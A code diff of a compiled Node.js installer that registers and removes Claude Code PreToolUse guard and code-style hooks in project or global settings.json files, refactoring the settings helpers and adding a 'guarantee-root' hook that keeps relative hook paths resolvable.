+
* that asymmetry is the design, not an oversight (hook-registration.ts states it once).
|
|
94
|
+
*
|
|
95
|
+
* A GLOBAL (absolute) install gets none: those hooks name the bin path directly, so there is no
|
|
96
|
+
* relative path that could fail to resolve, which is the only thing L-1 protects against.
|
|
97
|
+
*/
|
|
98
|
+
// webpieces-disable no-function-outside-class -- setup.ts is deliberately DI-free (it must run on a half-written node_modules; see install-entry.ts), so every function here is module-scope
|
|
99
|
+
function applyGuaranteeRoot(chosen, targets, projectRoot) {
|
|
100
|
+
const relative = chosen !== null && !chosen.absolute;
|
|
101
|
+
for (const target of targets) {
|
|
102
|
+
const settings = (0, hook_registration_1.readSettings)(target.settingsPath);
|
|
103
|
+
const removed = removeGuaranteeRootHook(settings);
|
|
104
|
+
if (relative && chosen.settingsPath === target.settingsPath) {
|
|
105
|
+
(0, hook_registration_1.addHookEntry)(settings, hook_registration_1.GUARANTEE_ROOT_ENTRY);
|
|
106
|
+
(0, hook_registration_1.writeSettings)(target.settingsPath, settings);
|
|
107
|
+
console.log(` ✅ L-1 guarantee-root hook (keeps the shell where the relative guard hooks can launch) → ${target.label}`);
|
|
108
|
+
}
|
|
109
|
+
else if (removed) {
|
|
110
|
+
(0, hook_registration_1.writeSettings)(target.settingsPath, settings);
|
|
111
|
+
}
|
|
112
|
+
}
|
|
113
|
+
if (relative)
|
|
114
|
+
(0, guarantee_root_1.writeGuaranteeRoot)(projectRoot);
|
|
115
|
+
else if (!markerReferenced(targets, guarantee_root_1.GUARANTEE_ROOT_MARKER))
|
|
116
|
+
removeGuaranteeRootFile(projectRoot);
|
|
117
|
+
}
|
|
94
118
|
class InstallTarget {
|
|
95
119
|
choice;
|
|
96
120
|
label;
|
|
@@ -104,13 +128,11 @@ class InstallTarget {
|
|
|
104
128
|
}
|
|
105
129
|
}
|
|
106
130
|
exports.InstallTarget = InstallTarget;
|
|
107
|
-
|
|
108
|
-
//
|
|
109
|
-
//
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
// human later see whether the AI read a project's design.json before editing it.
|
|
113
|
-
exports.GUARDS_HOOK = new HookSpec('guards', 'Guards hook (git/PR/branch protection)', 'Write|Edit|MultiEdit|Bash|Read', 'wp-ai-guards-hook');
|
|
131
|
+
// The matchers and bin names come from ./hook-registration, which is also what the drift check and
|
|
132
|
+
// wp-upgrade-shim compare against — one spelling of the registration, or the installer and the
|
|
133
|
+
// validator can disagree about what "installed" means.
|
|
134
|
+
exports.RULES_HOOK = new HookSpec('rules', 'Rules hook (code-style validation)', hook_registration_1.RULES_MATCHER, hook_registration_1.RULES_BIN);
|
|
135
|
+
exports.GUARDS_HOOK = new HookSpec('guards', 'Guards hook (git/PR/branch protection)', hook_registration_1.GUARDS_MATCHER, hook_registration_1.GUARDS_BIN);
|
|
114
136
|
// `homeDir` is injectable so tests can point the global target at a temp dir instead of the real
|
|
115
137
|
// ~/.claude/settings.json (a unit test must never write the user's actual global settings).
|
|
116
138
|
function installTargets(projectRoot, homeDir = (0, os_1.homedir)()) {
|
|
@@ -370,38 +392,25 @@ function seedOrSyncConfig(projectRoot) {
|
|
|
370
392
|
for (const change of result.changes)
|
|
371
393
|
console.log(` - ${change}`);
|
|
372
394
|
}
|
|
373
|
-
|
|
374
|
-
|
|
375
|
-
|
|
376
|
-
const raw = fs.readFileSync(settingsPath, 'utf8');
|
|
377
|
-
if (raw.trim() === '')
|
|
378
|
-
return {};
|
|
379
|
-
// eslint-disable-next-line @webpieces/no-unmanaged-exceptions
|
|
380
|
-
try {
|
|
381
|
-
return JSON.parse(raw);
|
|
382
|
-
}
|
|
383
|
-
catch (err) {
|
|
384
|
-
const error = (0, to_error_1.toError)(err);
|
|
385
|
-
throw new Error(`${settingsPath} has invalid JSON — fix it, then retry: ${error.message}`, { cause: error });
|
|
386
|
-
}
|
|
387
|
-
}
|
|
388
|
-
function writeSettings(settingsPath, settings) {
|
|
389
|
-
fs.mkdirSync(path.dirname(settingsPath), { recursive: true });
|
|
390
|
-
fs.writeFileSync(settingsPath, JSON.stringify(settings, null, 4) + '\n');
|
|
391
|
-
}
|
|
395
|
+
// ---------------------------------------------------------------------------
|
|
396
|
+
// Claude Code settings.json hook wiring.
|
|
397
|
+
// ---------------------------------------------------------------------------
|
|
392
398
|
function hasHook(settings, bin) {
|
|
393
399
|
const entries = settings.hooks?.PreToolUse ?? [];
|
|
394
400
|
return entries.some((e) => e.hooks.some((h) => h.command.includes(bin)));
|
|
395
401
|
}
|
|
396
|
-
// Drop every PreToolUse command
|
|
397
|
-
|
|
402
|
+
// Drop every PreToolUse command containing `marker` (a bin name, or a managed .sh path); returns true
|
|
403
|
+
// if anything was removed. REMOVE-then-ADD is what keeps an upgrade from leaving the old absolute
|
|
404
|
+
// spelling beside the new relative one — two spellings of one registration.
|
|
405
|
+
// webpieces-disable no-function-outside-class -- setup.ts is deliberately DI-free (it must run on a half-written node_modules; see install-entry.ts), so every function here is module-scope
|
|
406
|
+
function removeHookByMarker(settings, marker) {
|
|
398
407
|
const entries = settings.hooks?.PreToolUse;
|
|
399
408
|
if (!entries)
|
|
400
409
|
return false;
|
|
401
410
|
let changed = false;
|
|
402
411
|
const kept = [];
|
|
403
412
|
for (const entry of entries) {
|
|
404
|
-
const hooks = entry.hooks.filter((h) => !h.command.includes(
|
|
413
|
+
const hooks = entry.hooks.filter((h) => !h.command.includes(marker));
|
|
405
414
|
if (hooks.length !== entry.hooks.length)
|
|
406
415
|
changed = true;
|
|
407
416
|
if (hooks.length > 0)
|
|
@@ -411,27 +420,20 @@ function removeHook(settings, bin) {
|
|
|
411
420
|
settings.hooks.PreToolUse = kept;
|
|
412
421
|
return changed;
|
|
413
422
|
}
|
|
414
|
-
function addHook(settings, matcher, command) {
|
|
415
|
-
if (!settings.hooks)
|
|
416
|
-
settings.hooks = {};
|
|
417
|
-
if (!Array.isArray(settings.hooks.PreToolUse))
|
|
418
|
-
settings.hooks.PreToolUse = [];
|
|
419
|
-
settings.hooks.PreToolUse.push({ matcher, hooks: [{ type: 'command', command }] });
|
|
420
|
-
}
|
|
421
423
|
// Apply the chosen install for one hook: remove it from every target file, then add it back to the
|
|
422
424
|
// chosen one (or nowhere, for uninstall). Writes only the files that changed.
|
|
423
425
|
function applyHook(hook, chosen, targets, projectRoot) {
|
|
424
426
|
for (const target of targets) {
|
|
425
|
-
const settings = readSettings(target.settingsPath);
|
|
426
|
-
const removed =
|
|
427
|
+
const settings = (0, hook_registration_1.readSettings)(target.settingsPath);
|
|
428
|
+
const removed = removeHookByMarker(settings, hook.bin);
|
|
427
429
|
const isChosen = chosen !== null && chosen.settingsPath === target.settingsPath;
|
|
428
430
|
if (isChosen) {
|
|
429
|
-
|
|
430
|
-
writeSettings(target.settingsPath, settings);
|
|
431
|
+
(0, hook_registration_1.addHookEntry)(settings, new hook_registration_1.HookRegistrationEntry(hook.matcher, hook.commandFor(target, projectRoot)));
|
|
432
|
+
(0, hook_registration_1.writeSettings)(target.settingsPath, settings);
|
|
431
433
|
console.log(` ✅ ${hook.label} → ${target.label}`);
|
|
432
434
|
}
|
|
433
435
|
else if (removed) {
|
|
434
|
-
writeSettings(target.settingsPath, settings);
|
|
436
|
+
(0, hook_registration_1.writeSettings)(target.settingsPath, settings);
|
|
435
437
|
}
|
|
436
438
|
}
|
|
437
439
|
// Manage the shared checked-in shim: (re)write it whenever a project (relative) install exists,
|
|
@@ -439,14 +441,19 @@ function applyHook(hook, chosen, targets, projectRoot) {
|
|
|
439
441
|
if (chosen !== null && !chosen.absolute) {
|
|
440
442
|
writeShim(projectRoot);
|
|
441
443
|
}
|
|
442
|
-
else if (!
|
|
444
|
+
else if (!markerReferenced(targets, shim_1.SHIM_MARKER)) {
|
|
443
445
|
removeShim(projectRoot);
|
|
444
446
|
}
|
|
447
|
+
// The L-1 hook rides with the GUARDS hook (it judges `cd`, which arrives on Bash). Doing it here
|
|
448
|
+
// rather than at a separate call site means every existing caller of applyHook — the installer's
|
|
449
|
+
// interactive and --target paths, and every test — gets the three-hook form with no second step.
|
|
450
|
+
if (hook.bin === hook_registration_1.GUARDS_BIN)
|
|
451
|
+
applyGuaranteeRoot(chosen, targets, projectRoot);
|
|
445
452
|
if (chosen === null)
|
|
446
453
|
console.log(` ⛔ ${hook.label} not installed (removed from all locations).`);
|
|
447
454
|
}
|
|
448
455
|
function currentLocation(hook, targets) {
|
|
449
|
-
const here = targets.filter((t) => hasHook(readSettings(t.settingsPath), hook.bin));
|
|
456
|
+
const here = targets.filter((t) => hasHook((0, hook_registration_1.readSettings)(t.settingsPath), hook.bin));
|
|
450
457
|
return here.length === 0 ? 'none' : here.map((t) => t.label.split(' (')[0]).join(', ');
|
|
451
458
|
}
|
|
452
459
|
function prompt(question) {
|